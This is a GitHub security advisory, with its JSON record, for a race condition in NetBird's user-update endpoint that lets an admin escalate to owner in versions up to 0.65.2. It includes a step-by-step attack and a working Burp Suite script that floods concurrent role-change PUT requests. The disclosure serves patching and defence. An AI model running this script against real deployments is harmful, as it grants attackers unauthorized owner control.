GHSA-RXMP-8H9V-56CX
Vulnerability from github – Published: 2026-04-01 21:03 – Updated: 2026-04-01 21:03Summary
A race condition vulnerability allows authenticated admin-privileged users to escalate to owner privilege.
Details
The vulnerability exists in the updateUser function, which is connected to the /users/{userId} PUT request. This function then calls the SaveOrAddUsers function, which checks the user's permissions on two separate occasions. The first check verifies whether the initiator is an admin or owner and rejects the request if the initiator is not. The second check retrieves the user role details from the database again and saves them in a variable called initiatorUser.
SaveOrAddUsers Function
Location: netbird/management/server/user.go — Line 556
Afterwards, the validateUserUpdate function is called, which checks if the initiator has permission to update that specific user's role. This validation is lacking, as it assumes the initiator is an admin or owner. In the case that the initiator is a regular user, these conditions do not apply, and the target can be updated to owner even when the initiator holds only a user role.
validateUserUpdate Function
Location: netbird/management/server/user.go — Line 862
In summary, if the initiator's permission is admin at the first check and gets dropped to user at the second check, the initiator can update a user to owner.
Proof of Concept
It is possible to create the following attack:
The initiator (old_admin) creates two different accounts — one with a user role and another with an admin role. These will be referred to as new_user and new_admin from here on.
Two different requests are needed:
- Request 1 — Using
new_admin's JWT, a request is created that changesold_admin's role to user. - Request 2 — Using
old_admin's JWT, a request is created that changesnew_user's role to owner.
Both requests need valid user IDs and auto_groups group IDs. They should be sent simultaneously without waiting for prior requests to return.
There is a very small time gap between the first and second permission checks, so multiple tries and multiple copies of the requests may be needed. During a penetration test engagement, privilege escalation was achieved by using 5 copies of Request 1 and 100 copies of Request 2 without waiting for any request to complete. The request that updated the role to owner returned 500 status codes instead of 403, which when retried returned 200 and successfully applied the update.
The following Burp Suite race condition script was used. Note that it may still require multiple tries, and the old_admin account role must be reset to admin after every failed attempt.
import time
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=100,
requestsPerConnection=100,
pipeline=False
)
# Request 1
req1 = """PUT /api/users/{OLD_ADMIN_USERID} HTTP/2
Host: CHANGE_WITH_HOST
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: application/json
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Authorization: Bearer {NEW_ADMIN_TOKEN}
Content-Length: 73
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
{"role":"user","auto_groups":[GROUP_ID],"is_blocked":false}"""
# Request 2
req2 = """PUT /api/users/{NEW_USER_USERID} HTTP/2
Host: CHANGE_WITH_HOST
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: application/json
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Authorization: Bearer {OLD_ADMIN_TOKEN}
Content-Length: 52
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
{"role":"owner","auto_groups":[],"is_blocked":false}"""
# Send first request
engine.queue(req1)
engine.queue(req1)
engine.queue(req1)
engine.queue(req1)
engine.queue(req1)
# Send second request
for i in range(100):
engine.queue(req2)
def handleResponse(req, interesting):
table.add(req)
Impact
An attacker with an admin account on the self-hosted NetBird management application v0.65.2 or lower can escalate to owner privileges.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.65.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/netbirdio/netbird"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.65.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T21:03:00Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nA race condition vulnerability allows authenticated admin-privileged users to escalate to owner privilege.\n\n## Details\n\nThe vulnerability exists in the `updateUser` function, which is connected to the `/users/{userId}` PUT request. This function then calls the `SaveOrAddUsers` function, which checks the user\u0027s permissions on two separate occasions. The first check verifies whether the initiator is an admin or owner and rejects the request if the initiator is not. The second check retrieves the user role details from the database again and saves them in a variable called `initiatorUser`.\n\n### `SaveOrAddUsers` Function\n\n**Location:** `netbird/management/server/user.go` \u2014 Line 556\n\n\n\nAfterwards, the `validateUserUpdate` function is called, which checks if the initiator has permission to update that specific user\u0027s role. This validation is lacking, as it assumes the initiator is an admin or owner. In the case that the initiator is a regular user, these conditions do not apply, and the target can be updated to owner even when the initiator holds only a user role.\n\n### `validateUserUpdate` Function\n\n**Location:** `netbird/management/server/user.go` \u2014 Line 862\n\n\n\nIn summary, if the initiator\u0027s permission is **admin** at the first check and gets dropped to **user** at the second check, the initiator can update a user to **owner**.\n\n## Proof of Concept\n\nIt is possible to create the following attack:\n\nThe initiator (`old_admin`) creates two different accounts \u2014 one with a **user** role and another with an **admin** role. These will be referred to as `new_user` and `new_admin` from here on.\n\nTwo different requests are needed:\n\n1. **Request 1** \u2014 Using `new_admin`\u0027s JWT, a request is created that changes `old_admin`\u0027s role to **user**.\n2. **Request 2** \u2014 Using `old_admin`\u0027s JWT, a request is created that changes `new_user`\u0027s role to **owner**.\n\nBoth requests need valid user IDs and `auto_groups` group IDs. They should be sent simultaneously without waiting for prior requests to return.\n\nThere is a very small time gap between the first and second permission checks, so multiple tries and multiple copies of the requests may be needed. During a penetration test engagement, privilege escalation was achieved by using **5 copies of Request 1** and **100 copies of Request 2** without waiting for any request to complete. The request that updated the role to owner returned **500** status codes instead of **403**, which when retried returned **200** and successfully applied the update.\n\nThe following Burp Suite race condition script was used. Note that it may still require multiple tries, and the `old_admin` account role must be reset to **admin** after every failed attempt.\n\n```python\nimport time\n\ndef queueRequests(target, wordlists):\n\n engine = RequestEngine(\n endpoint=target.endpoint,\n concurrentConnections=100,\n requestsPerConnection=100,\n pipeline=False\n )\n\n # Request 1\n req1 = \"\"\"PUT /api/users/{OLD_ADMIN_USERID} HTTP/2\nHost: CHANGE_WITH_HOST\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0\nAccept: application/json\nAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/json\nAuthorization: Bearer {NEW_ADMIN_TOKEN}\nContent-Length: 73\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\n\n{\"role\":\"user\",\"auto_groups\":[GROUP_ID],\"is_blocked\":false}\"\"\"\n\n # Request 2\n req2 = \"\"\"PUT /api/users/{NEW_USER_USERID} HTTP/2\nHost: CHANGE_WITH_HOST\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0\nAccept: application/json\nAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/json\nAuthorization: Bearer {OLD_ADMIN_TOKEN}\nContent-Length: 52\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\n\n{\"role\":\"owner\",\"auto_groups\":[],\"is_blocked\":false}\"\"\"\n\n # Send first request\n engine.queue(req1)\n engine.queue(req1)\n engine.queue(req1)\n engine.queue(req1)\n engine.queue(req1)\n\n # Send second request\n for i in range(100):\n engine.queue(req2)\n\n\ndef handleResponse(req, interesting):\n table.add(req)\n```\n\n## Impact\n\nAn attacker with an admin account on the self-hosted NetBird management application **v0.65.2 or lower** can escalate to owner privileges.",
"id": "GHSA-rxmp-8h9v-56cx",
"modified": "2026-04-01T21:03:00Z",
"published": "2026-04-01T21:03:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netbirdio/netbird/security/advisories/GHSA-rxmp-8h9v-56cx"
},
{
"type": "PACKAGE",
"url": "https://github.com/netbirdio/netbird"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "NetBird has Race Condition on UpdateUser Function, Resulting in Privilege Escalation From Admin to Owner"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.